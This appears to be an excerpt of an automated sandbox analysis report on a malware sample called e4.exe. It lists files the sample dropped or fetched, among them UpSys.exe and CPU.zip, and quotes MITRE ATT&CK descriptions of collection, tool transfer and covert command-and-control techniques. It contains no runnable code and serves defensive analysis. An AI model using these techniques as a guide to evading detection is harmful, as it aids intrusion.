C:\ProgramData\Microsoft\Windows\WER\Temp\WER84E8.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER999A.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9CE6.tmp.xml

C:\ProgramData\Systemd\CPU.zip

C:\ProgramData\UpSys.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\e4.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\CPU[1].zip

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\1fEwd7[1].htm

Windows Analysis Report
e4.exe

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre